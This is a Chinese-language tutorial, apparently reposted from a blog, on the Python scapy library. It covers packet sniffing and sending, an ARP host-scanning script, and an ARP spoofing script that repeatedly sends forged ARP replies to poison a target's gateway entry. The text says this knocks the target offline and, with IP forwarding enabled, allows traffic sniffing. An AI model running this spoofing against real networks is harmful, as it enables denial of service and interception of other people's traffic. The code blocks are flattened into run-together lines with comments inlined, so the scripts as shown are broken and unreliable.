python scapy的用法之ARP主機掃描和ARP欺騙


python scapy的用法之ARP主機掃描和ARP欺騙

 目錄:

1.scapy介紹

2.安裝scapy

3.scapy常用

4.ARP主機掃描

5.ARP欺騙

一、scapy介紹

scapy是一個可用於網絡嗅探的非常強大的第三方庫。

具有以下幾個特點:

  1.交互模式,用作第三方庫。

  2.可以用開做packet嗅探和偽造packet

  3.已經再內部實現了大量的網絡協議。(DNS,ARP,IP,TCP,UDP等等),可以用它來編寫非常靈活實用的工具。

二、安裝

pip intall scapy

pip install ipython(運行命令行方式需要)

注意:windows下安裝scapy需要安裝winpcap或者npcap(用於抓取網卡的數據),如果電腦安裝果wireshark或者nmap就不用安裝winpcap或者npcap。

winpcap官方下載地址:https://www.winpcap.org/install/default.htm

npcap官方下載地址:https://nmap.org/npcap/

測試scapy是否安裝好以及能否抓取網卡(不能抓取網卡的話,請檢查winpcap或者npcap是否安裝成功)  

三、scapy常用

1.嗅探流量包

sniff函數進行嗅探流量,iface表示使用的網卡接口,filter是過濾條件,count是嗅探包的個數。結果顯示嗅探到了3個ARP包。可以輸入pkts[i]查看包的具體內容。sniff別的參數可以查看幫助文檔:help(sniff)  

2.將嗅探到的包內容寫到pcap文件和讀取pcap文件。

wrpcap寫,rdpcap讀  

3.收發數據包

3.1、send(),在第三層發送數據包,但沒有接收功能。其他參數可以查看幫助:help(send)

 fuzz函數的作用:可以更改一些默認的不被計算的值(比如校驗和checksums),更改的值是隨機的,但是是符合字段的值的。 

3.2、sendp(),在第二層發送數據包,但沒有接收功能。"(1,4)"小括號是范圍代表1到4,第二個例子:發送4個包,ttl的值是1到4 

3.3、sr(),在第三層發送數據包,有接收功能

srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。

ans中有請求有響應,unans只有請求沒有響應

下圖可以看到ans[0]查看的數據是以元組的形式,利用下圖的示例可以對特定主機的特定端口進行tcp掃描。

3.4、sr1(),在第三層發送數據包,有接收功能,但只接收第一個數據包。用於哪些判斷和目標是否通,接收一個數據包就能判斷,沒必要接收多個。

下圖可以看到,發送20個包,收到3個包,但只變量m存儲一個包。  

3.5、srloop(),在第三層連續發送數據包,有接收功能,且連續接收數據包。

3.6、srp()、srp1()、srploop()工作在第二層,具體用法可以查看幫助。

 四、ARP主機掃描

1.使用scapy寫一個ARP主機掃描腳本  

#局域網主機掃描器 使用ARP掃描 #主機掃描
from scapy.all import *
import time wifi="Intel(R) Dual Band Wireless-AC 3165"
#構造數據包 Ether()層可以省略構造內容,因為默認就是,當然可以寫上,可以加快速度
p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.0/24") #數據包發送,srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。 #ans中有請求有響應,unans只有請求沒有響應
ans,unans=srp(p,iface=wifi,timeout=2) print("一共掃描到了%d個主機"%len(ans)) result=[] #ans是元組的形式,可以測試ans[0],發現結果是元組的形式
for s,r in ans: result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目標的IP以及MAC地址加入到新的列表
 result.sort() #對列表進行排序 #遍歷列表,打印ip以及對應的mac地址
for ip,mac in result: print(ip,"--->",mac)

2.掃描結果如下: 

3.上面的腳本把要掃描的主機直接寫死了,這里也可以使用sys模塊接收命令行傳遞的參數。 

#局域網主機掃描器 使用ARP掃描 #主機掃描,主機不是寫死的,接收命令行傳遞的參數。
from scapy.all import *
import time wifi="Intel(R) Dual Band Wireless-AC 3165"
#構造數據包 Ether()層可以省略構造內容,因為默認就是,當然可以寫上,可以加快速度
ip=sys.argv[1] p=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst=ip) #數據包發送,srp同時收到響應數據包和不響應數據包,需要用兩個變量來接收。 #ans中有請求有響應,unans只有請求沒有響應
ans,unans=srp(p,iface=wifi,timeout=2) print("一共掃描到了%d個主機"%len(ans)) result=[] #ans是元組的形式,可以測試ans[0],發現結果是元組的形式
for s,r in ans: result.append([r[ARP].psrc,r[ARP].hwsrc]) #把目標的IP以及MAC地址加入到新的列表
 result.sort() #對列表進行排序 #遍歷列表,打印ip以及對應的mac地址
for ip,mac in result: print(ip,"--->",mac)

4.運行效果如下: 

五、ARP欺騙

ARP欺騙就是攻擊者一直發包告訴被攻擊者(目標)自己(攻擊者)是網卡,欺騙目標的數據經過自己,以實現造成目標不能上網或者對目標數據進行監聽的目的。

1.首先查看目標的ARP緩存,可以看到目標原來的網關IP以及對應的mac地址

  

 2.開始ARP欺騙  

#ARP欺騙
from scapy.all import *
import time #構造包 #pdst是目標IP,psrc是網關的ip
p1=Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1") for i in range(6000): sendp(p1) time.sleep(0.1)

3.運行腳本,可以看到腳本一直發包,這時再看目標的arp緩存,可以看到網關的mac地址變成攻擊者的mac了(說明目標把攻擊者當成了網關,ARP欺騙成功)

  

4.ARP欺騙之后,由於攻擊者不是真正的網關,無法轉發數據(默認情況下),導致目標不能上網,這就實現了目標的斷網攻擊了。

5.那么能不能讓目標能上網,只對目標進行流量的嗅探呢,答案是有的,需要開啟攻擊者的路由轉發功能,把目標的數據轉發出去。 

6.查看是否開啟IP路由轉發功能  

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM